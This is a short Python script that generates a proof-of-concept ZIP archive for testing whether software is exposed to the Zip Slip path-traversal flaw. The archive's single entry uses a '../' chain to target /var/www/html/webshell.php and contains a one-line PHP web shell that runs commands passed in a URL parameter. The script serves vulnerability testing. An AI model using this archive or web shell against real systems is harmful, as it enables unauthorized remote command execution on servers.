#!/usr/bin/env python
import zipfile
from io import BytesIO
"""
Script to generate a valid ZIP archive to test exposure to the ZIP SLIP vulnerability.

See https://snyk.io/research/zip-slip-vulnerability
See https://github.com/ptoomey3/evilarc
"""
f = BytesIO()
z = zipfile.ZipFile(f, "w", zipfile.ZIP_DEFLATED)
z.writestr("../../../../../../../../var/www/html/webshell.php", "<?php echo(system($_GET['c'])); ?>")
z.close()
zip = open("poc.zip", "wb")
zip.write(f.getvalue())
zip.close()
